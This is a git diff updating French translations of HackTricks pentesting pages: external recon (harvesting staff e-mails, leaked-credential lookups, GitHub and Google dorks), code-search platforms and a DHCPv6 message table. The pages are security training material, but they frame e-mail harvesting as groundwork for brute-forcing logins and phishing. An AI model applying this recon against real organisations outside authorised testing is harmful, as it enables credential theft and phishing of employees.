entreprise : +Avec les **domaines** et **sous-domaines** dans le périmètre, vous avez essentiellement tout ce dont vous avez **besoin pour commencer à rechercher des e-mails**. Voici les **API** et **outils** qui ont le mieux fonctionné pour moi pour trouver des e-mails d'une entreprise : -* [**theHarvester**](https://github.com/laramies/theHarvester) - avec APIs +* [**theHarvester**](https://github.com/laramies/theHarvester) - avec des APIs * API de [**https://hunter.io/**](https://hunter.io/) (version gratuite) * API de [**https://app.snov.io/**](https://app.snov.io/) (version gratuite) * API de [**https://minelead.io/**](https://minelead.io/) (version gratuite) ### **Recherche de vulnérabilités** -Les emails seront utiles plus tard pour **forcer brutalement les connexions web et les services d'authentification** (tels que SSH). De plus, ils sont nécessaires pour les **phishings**. En outre, ces APIs vous donneront encore plus d'**informations sur la personne** derrière l'email, ce qui est utile pour la campagne de phishing. +Les e-mails seront utiles plus tard pour **brute-forcer les connexions web et les services d'authentification** (comme SSH). De plus, ils sont nécessaires pour les **phishings**. De plus, ces APIs vous donneront encore plus d'**informations sur la personne** derrière l'e-mail, ce qui est utile pour la campagne de phishing. -## Fuites de Credentials +## Fuites d'identifiants -Avec les **domaines**, **sous-domaines** et **emails**, vous pouvez commencer à rechercher des credentials qui ont fuité dans le passé et qui appartiennent à ces emails : +Avec les **domaines**, **sous-domaines** et **e-mails**, vous pouvez commencer à rechercher des identifiants qui ont été divulgués dans le passé appartenant à ces e-mails : * [https://leak-lookup.com](https://leak-lookup.com/account/login) * [https://www.dehashed.com/](https://www.dehashed.com/) ### **Recherche de vulnérabilités** -Si vous trouvez des **credentials fuités valides**, c'est une victoire très facile. +Si vous trouvez des identifiants **fuites valides**, c'est une victoire très facile. -## Fuites de Secrets +## Fuites de secrets -Les fuites de credentials sont liées à des hacks d'entreprises où des **informations sensibles ont fuité et ont été vendues**. Cependant, les entreprises peuvent être affectées par d'**autres fuites** dont les informations ne sont pas dans ces bases de données : +Les fuites d'identifiants sont liées aux piratages d'entreprises où des **informations sensibles ont été divulguées et vendues**. Cependant, les entreprises pourraient être affectées par **d'autres fuites** dont les informations ne figurent pas dans ces bases de données : ### Fuites Github -Des credentials et des APIs peuvent fuiter dans les **répertoires publics** de l'**entreprise** ou des **utilisateurs** travaillant pour cette entreprise sur github.\ -Vous pouvez utiliser l'**outil** [**Leakos**](https://github.com/carlospolop/Leakos) pour **télécharger** tous les **répertoires publics** d'une **organisation** et de ses **développeurs** et exécuter [**gitleaks**](https://github.com/zricethezav/gitleaks) automatiquement. +Des identifiants et des APIs peuvent être divulgués dans les **dépôts publics** de l'**entreprise** ou des **utilisateurs** travaillant pour cette entreprise github.\ +Vous pouvez utiliser l'**outil** [**Leakos**](https://github.com/carlospolop/Leakos) pour **télécharger** tous les **dépôts publics** d'une **organisation** et de ses **développeurs** et exécuter [**gitleaks**](https://github.com/zricethezav/gitleaks) automatiquement dessus. -**Leakos** peut également être utilisé pour exécuter **gitleaks** contre tous les **textes** des **URLs fournies** car parfois les **pages web contiennent aussi des secrets**. +**Leakos** peut également être utilisé pour exécuter **gitleaks** sur tous les **textes** fournis par les **URLs passées** à celui-ci car parfois les **pages web contiennent également des secrets**. #### Dorks Github -Consultez également cette **page** pour des **dorks github** potentiels que vous pourriez également rechercher dans l'organisation que vous attaquez : +Consultez également cette **page** pour des **dorks github potentiels** que vous pourriez également rechercher dans l'organisation que vous attaquez : {% content-ref url="github-leaked-secrets.md" %} [github-leaked-secrets.md](github-leaked-secrets.md) {% endcontent-ref %} -### Fuites Pastes +### Fuites de Pastes -Parfois, des attaquants ou simplement des employés vont **publier du contenu d'entreprise sur un site de paste**. Cela peut ou non contenir des **informations sensibles**, mais il est très intéressant de le rechercher.\ -Vous pouvez utiliser l'outil [**Pastos**](https://github.com/carlospolop/Pastos) pour rechercher dans plus de 80 sites de paste en même temps. +Parfois, les attaquants ou simplement les employés **publieront du contenu d'entreprise sur un site de coller**. Cela peut ou non contenir des **informations sensibles**, mais il est très intéressant de le rechercher.\ +Vous pouvez utiliser l'outil [**Pastos**](https://github.com/carlospolop/Pastos) pour rechercher dans plus de 80 sites de coller en même temps. ### Dorks Google -Les vieux mais précieux dorks Google sont toujours utiles pour trouver des **informations exposées qui ne devraient pas l'être**. Le seul problème est que la [**base de données de piratage google**](https://www.exploit-db.com/google-hacking-database) contient plusieurs **milliers** de requêtes possibles que vous ne pouvez pas exécuter manuellement. Ainsi, vous pouvez choisir vos 10 préférées ou vous pourriez utiliser un **outil tel que** [**Gorks**](https://github.com/carlospolop/Gorks) **pour les exécuter toutes**. +Les anciens mais bons dorks Google sont toujours utiles pour trouver des **informations exposées qui ne devraient pas s'y trouver**. Le seul problème est que la [**base de données de piratage Google**](https://www.exploit-db.com/google-hacking-database) contient plusieurs **milliers** de requêtes possibles que vous ne pouvez pas exécuter manuellement. Ainsi, vous pouvez choisir vos 10 préférées ou vous pourriez utiliser un **outil tel que** [**Gorks**](https://github.com/carlospolop/Gorks) **pour les exécuter toutes**. -_Notez que les outils qui s'attendent à exécuter toute la base de données en utilisant le navigateur Google régulier ne finiront jamais car Google vous bloquera très très rapidement._ +_Notez que les outils qui s'attendent à exécuter toute la base de données en utilisant le navigateur Google régulier ne se termineront jamais car Google vous bloquera très très rapidement._ ### **Recherche de vulnérabilités** -Si vous trouvez des **credentials fuités valides** ou des jetons d'API, c'est une victoire très facile. +Si vous trouvez des **identifiants ou jetons API fuites valides**, c'est une victoire très facile. -## Vulnérabilités du Code Public +## Vulnérabilités de Code Public -Si vous avez découvert que l'entreprise a du **code open-source**, vous pouvez l'**analyser** et rechercher des **vulnérabilités**. +Si vous découvrez que l'entreprise a du **code open-source**, vous pouvez **l'analyser** et rechercher des **vulnérabilités**. **Selon le langage**, il existe différents **outils** que vous pouvez utiliser : @@ -599,31 +597,31 @@ Si vous avez découvert que l'entreprise a du **code open-source**, vous pouvez [code-review-tools.md](../../network-services-pentesting/pentesting-web/code-review-tools.md) {% endcontent-ref %} -Il existe également des services gratuits qui vous permettent de **scanner les répertoires publics**, tels que : +Il existe également des services gratuits qui vous permettent de **scanner des dépôts publics**, tels que : * [**Snyk**](https://app.snyk.io/) -## [**Méthodologie de Pentesting Web**](../../network-services-pentesting/pentesting-web/) +## [**Méthodologie de Test Web Pentesting**](../../network-services-pentesting/pentesting-web/) -La **majorité des vulnérabilités** trouvées par les chasseurs de bugs se trouvent à l'intérieur des **applications web**, donc à ce stade, je voudrais parler d'une **méthodologie de test d'application web**, et vous pouvez [**trouver ces informations ici**](../../network-services-pentesting/pentesting-web/). +La **majorité des vulnérabilités** trouvées par les chasseurs de bugs résident à l'intérieur des **applications web**, donc à ce stade, j'aimerais parler d'une **méthodologie de test d'application web**, que vous pouvez [**trouver ici**](../../network-services-pentesting/pentesting-web/). -Je veux aussi faire une mention spéciale à la section [**Outils open source de scanners automatisés Web**](../../network-services-pentesting/pentesting-web/#automatic-scanners), car, si vous ne devriez pas vous attendre à ce qu'ils vous trouvent des vulnérabilités très sensibles, ils sont pratiques pour les implémenter dans des **workflows pour avoir des informations web initiales.** +Je tiens également à mentionner spécialement la section [**Outils open source de scanners Web automatisés**](../../network-services-pentesting/pentesting-web/#automatic-scanners), car, bien que vous ne devriez pas vous attendre à ce qu'ils trouvent des vulnérabilités très sensibles, ils sont utiles pour les implémenter dans des **flux de travail pour obtenir des informations web initiales**. -## Récapitulation +## Récapitulatif -> Félicitations ! À ce stade, vous avez déjà effectué **toute l'énumération de base**. Oui, c'est basique car beaucoup plus d'énumération peut être faite (nous verrons plus d'astuces plus tard). +> Félicitations ! À ce stade, vous avez déjà effectué **toute l'énumération de base**. Oui, c'est basique car beaucoup plus d'énumération peut être effectuée (nous verrons plus de trucs plus tard). Donc, vous avez déjà : 1. Trouvé toutes les **entreprises** dans le périmètre -2. Trouvé tous les **actifs** appartenant aux entreprises (et effectué un scan de vuln si dans le périmètre) +2. Trouvé tous les **actifs** appartenant aux entreprises (et effectué une analyse de vulnérabilité si dans le périmètre) 3. Trouvé tous les **domaines** appartenant aux entreprises -4. Trouvé tous les **sous-domaines** des domaines (une prise de sous-domaine ?) -5. Trouvé toutes les **IP** (de et **non de CDN**) dans le périmètre. -6. Trouvé tous les **serveurs web** et pris une **capture d'écran** d'eux (quelque chose d'étrange qui mérite un examen plus approfondi ?) +4. Trouvé tous les **sous-domaines** des domaines (une prise de contrôle de sous-domaine ?) +5. Trouvé toutes les **IP** (à partir et **non à partir de CDN**) dans le périmètre. +6. Trouvé tous les **serveurs web** et pris une **capture d'écran** d'eux (quelque chose d'étrange qui vaut la peine d'être examiné de plus près ?) 7. Trouvé tous les **actifs cloud publics potentiels** appartenant à l'entreprise. -8. **Emails**, **fuites de credentials**, et **fuites de secrets** qui pourraient vous donner une **grande victoire très facilement**. -9. **Pentesting de tous les webs que vous avez trouvés** +8. **E-mails**, **fuites d'identifiants** et **fuites de secrets** qui pourraient vous donner une **grosse victoire très facilement**. +9. **Pentester tous les sites web que vous avez trouvés** ## **Outils Automatiques de Reconnaissance Complète** @@ -632,14 +630,14 @@ Il existe plusieurs outils qui effectueront une partie des actions proposées co * [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine) * [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus) * [**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw) -* [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - Un peu vieux et pas mis à jour +* [**https://github.com/hackerspider1/EchoPwn**](https://github.com/hackerspider1/EchoPwn) - Un peu ancien et non mis à jour ## **Références** * **Tous les cours gratuits de** [**@Jhaddix**](https://twitter.com/Jhaddix) **(comme** [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)**)** \ -**Conseil pour la chasse aux bugs** : **inscrivez-vous** à **Intigriti**, une plateforme premium de **bug bounty créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $** ! +**Conseil de chasse aux bugs** : **inscrivez-vous** sur **Intigriti**, une plateforme de **bug bounty premium créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) dès aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $** ! {% embed url="https://go.intigriti.com/hacktricks" %} @@ -647,12 +645,12 @@ Il existe plusieurs outils qui effectueront une partie des actions proposées co Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! -Autres moyens de soutenir HackTricks : +D'autres moyens de soutenir HackTricks : -* Si vous voulez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux repos github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**dépôts Github de HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md b/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md index 295ba4081..b33858b0c 100644 --- a/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md +++ b/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.md @@ -2,30 +2,30 @@
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
\ -**Conseil pour les bug bounties** : **inscrivez-vous** sur **Intigriti**, une plateforme de bug bounty premium créée par des hackers, pour des hackers ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des bounties jusqu'à **100 000 $** ! +**Conseil de prime de bug**: **inscrivez-vous** à **Intigriti**, une plateforme de prime de bug premium créée par des pirates informatiques, pour les pirates informatiques**! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $**! {% embed url="https://go.intigriti.com/hacktricks" %} -Maintenant que nous avons construit la liste des actifs de notre périmètre, il est temps de rechercher des fruits à portée de main en OSINT. +Maintenant que nous avons établi la liste des actifs de notre périmètre, il est temps de rechercher quelques fruits bas de gamme OSINT. ### Plateformes ayant déjà recherché des fuites * [https://trufflesecurity.com/blog/introducing-forager/](https://trufflesecurity.com/blog/introducing-forager/) -### Fuites de clés API dans github +### Fuites de clés API sur github * [https://github.com/dxa4481/truffleHog](https://github.com/dxa4481/truffleHog) * [https://github.com/gitleaks/gitleaks](https://github.com/gitleaks/gitleaks) @@ -323,14 +323,14 @@ AWS SECRET ```
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
diff --git a/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md b/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md index ad0540f78..991961b04 100644 --- a/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md +++ b/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md @@ -2,38 +2,42 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +Autres façons de soutenir HackTricks : + +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-Le but de cette page est d'énumérer les **plateformes qui permettent de rechercher du code** (littéral ou regex) dans des milliers/millions de dépôts sur une ou plusieurs plateformes. +Le but de cette page est d'énumérer les **plateformes permettant de rechercher du code** (littéral ou regex) dans des milliers/millions de dépôts sur une ou plusieurs plateformes. -Cela aide dans plusieurs occasions à **rechercher des informations divulguées** ou des **modèles de vulnérabilités**. +Cela aide dans plusieurs occasions à **rechercher des informations divulguées** ou des modèles de **vulnérabilités**. * [**SourceGraph**](https://sourcegraph.com/search) : Recherche dans des millions de dépôts. Il existe une version gratuite et une version entreprise (avec 15 jours gratuits). Il prend en charge les regex. -* [**Github Search**](https://github.com/search) : Recherche sur Github. Il prend en charge les regex. - * Il peut également être utile de vérifier également [**Github Code Search**](https://cs.github.com/). -* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html) : Recherche dans les projets Gitlab. Supporte les regex. +* [**Recherche Github**](https://github.com/search) : Recherche sur Github. Il prend en charge les regex. +* Il peut également être utile de consulter [**Recherche de code Github**](https://cs.github.com/). +* [**Recherche avancée Gitlab**](https://docs.gitlab.com/ee/user/search/advanced\_search.html) : Recherche dans les projets Gitlab. Prise en charge des regex. * [**SearchCode**](https://searchcode.com/) : Recherche de code dans des millions de projets. {% hint style="warning" %} -Lorsque vous recherchez des fuites dans un dépôt et que vous exécutez quelque chose comme `git log -p`, n'oubliez pas qu'il peut y avoir **d'autres branches avec d'autres commits** contenant des secrets ! +Lorsque vous recherchez des fuites dans un dépôt et exécutez quelque chose comme `git log -p`, n'oubliez pas qu'il pourrait y avoir **d'autres branches avec d'autres commits** contenant des secrets ! {% endhint %}
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +Autres façons de soutenir HackTricks : + +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
diff --git a/generic-methodologies-and-resources/pentesting-network/dhcpv6.md b/generic-methodologies-and-resources/pentesting-network/dhcpv6.md index 935b3fab6..0a1aebdfc 100644 --- a/generic-methodologies-and-resources/pentesting-network/dhcpv6.md +++ b/generic-methodologies-and-resources/pentesting-network/dhcpv6.md @@ -1,40 +1,73 @@ -| Type de message DHCPv6 | Type de message DHCPv4 | +
+ +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! + +Autres façons de soutenir HackTricks : + +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. + +
+ + + + +| Type de message DHCPv6 | Type de message DHCPv4 | | :--- | :--- | -| Solicit \(1\) | DHCPDISCOVER | -| Advertise \(2\) | DHCPOFFER | -| Request \(3\), Renew \(5\), Rebind \(6\) | DHCPREQUEST | -| Reply \(7\) | DHCPACK / DHCPNAK | -| Release \(8\) | DHCPRELEASE | -| Information-Request \(11\) | DHCPINFORM | -| Decline \(9\) | DHCPDECLINE | -| Confirm \(4\) | aucun | -| Reconfigure \(10\) | DHCPFORCERENEW | -| Relay-Forw \(12\), Relay-Reply \(13\) | aucun | +| Solicit \(1\) | DHCPDISCOVER | +| Advertise \(2\) | DHCPOFFER | +| Request \(3\), Renew \(5\), Rebind \(6\) | DHCPREQUEST | +| Reply \(7\) | DHCPACK / DHCPNAK | +| Release \(8\) | DHCPRELEASE | +| Information-Request \(11\) | DHCPINFORM | +| Decline \(9\) | DHCPDECLINE | +| Confirm \(4\) | none | +| Reconfigure \(10\) | DHCPFORCERENEW | +| Relay-Forw \(12\), Relay-Reply \(13\) | none | - SOLICIT \(1\) +SOLICIT \(1\) - Un client DHCPv6 envoie un message Solicit pour localiser les serveurs DHCPv6. ADVERTISE \(2\) +Un client DHCPv6 envoie un message Solicit pour localiser les serveurs DHCPv6. ADVERTISE \(2\) - Un serveur envoie un message Advertise pour indiquer qu'il est disponible pour le service DHCP, en réponse à un message Solicit reçu d'un client. REQUEST \(3\) +Un serveur envoie un message Advertise pour indiquer qu'il est disponible pour le service DHCP, en réponse à un message Solicit reçu d'un client. REQUEST \(3\) - Un client envoie un message Request pour demander des paramètres de configuration, y compris des adresses IP ou des préfixes délégués, à un serveur spécifique. CONFIRM \(4\) +Un client envoie un message Request pour demander des paramètres de configuration, y compris des adresses IP ou des préfixes délégués, à un serveur spécifique. CONFIRM \(4\) - Un client envoie un message Confirm à n'importe quel serveur disponible pour déterminer si les adresses qui lui ont été attribuées sont toujours appropriées pour le lien auquel le client est connecté. Cela peut se produire lorsque le client détecte un changement de connectivité de la couche liaison ou s'il est sous tension et qu'une ou plusieurs locations sont encore valides. Le message de confirmation est utilisé pour confirmer si le client est toujours sur le même lien ou s'il a été déplacé. Les locations réelles ne sont pas validées ; seulement la partie préfixe des adresses ou des préfixes délégués. RENEW \(5\) +Un client envoie un message Confirm à n'importe quel serveur disponible pour déterminer si les adresses qui lui ont été attribuées sont toujours appropriées au lien auquel le client est connecté. Cela pourrait se produire lorsque le client détecte un changement de connectivité de la couche de liaison ou s'il est allumé et qu'une ou plusieurs baux sont toujours valides. Le message de confirmation est utilisé pour confirmer si le client est toujours sur le même lien ou s'il a été déplacé. Les baux réels ne sont pas validés ; seulement la partie préfixe des adresses ou des préfixes délégués. RENEW \(5\) - Un client envoie un message Renew au serveur qui a initialement fourni les adresses et les paramètres de configuration du client pour prolonger la durée de vie des adresses attribuées au client et mettre à jour d'autres paramètres de configuration. REBIND \(6\) +Un client envoie un message Renew au serveur qui a initialement fourni les adresses du client et les paramètres de configuration pour prolonger la durée de vie des adresses attribuées au client et mettre à jour d'autres paramètres de configuration. REBIND \(6\) - Un client envoie un message Rebind à n'importe quel serveur disponible pour prolonger la durée de vie des adresses attribuées au client et mettre à jour d'autres paramètres de configuration ; ce message est envoyé après qu'un client n'a reçu aucune réponse à un message Renew. REPLY \(7\) +Un client envoie un message Rebind à n'importe quel serveur disponible pour prolonger la durée de vie des adresses attribuées au client et mettre à jour d'autres paramètres de configuration ; ce message est envoyé après qu'un client n'a reçu aucune réponse à un message Renew. REPLY \(7\) - Un serveur envoie un message Reply contenant des adresses attribuées et des paramètres de configuration en réponse à un message Solicit, Request, Renew, Rebind reçu d'un client. Un serveur envoie un message Reply contenant des paramètres de configuration en réponse à un message Information-request. Un serveur envoie un message Reply en réponse à un message Confirm confirmant ou refusant que les adresses attribuées au client soient appropriées pour le lien auquel le client est connecté. Un serveur envoie un message Reply pour accuser réception d'un message Release ou Decline. RELEASE \(8\) +Un serveur envoie un message Reply contenant les adresses attribuées et les paramètres de configuration en réponse à un message Solicit, Request, Renew, Rebind reçu d'un client. Un serveur envoie un message Reply contenant des paramètres de configuration en réponse à un message de demande d'informations. Un serveur envoie un message Reply en réponse à un message Confirm pour confirmer ou nier que les adresses attribuées au client sont appropriées au lien auquel le client est connecté. Un serveur envoie un message Reply pour accuser réception d'un message de Release ou de Decline. RELEASE \(8\) - Un client envoie un message Release au serveur qui a attribué des adresses au client pour indiquer que le client n'utilisera plus une ou plusieurs des adresses attribuées. DECLINE \(9\) +Un client envoie un message Release au serveur qui a attribué des adresses au client pour indiquer que le client n'utilisera plus une ou plusieurs des adresses attribuées. DECLINE \(9\) - Un client envoie un message Decline à un serveur pour indiquer que le client a déterminé que une ou plusieurs 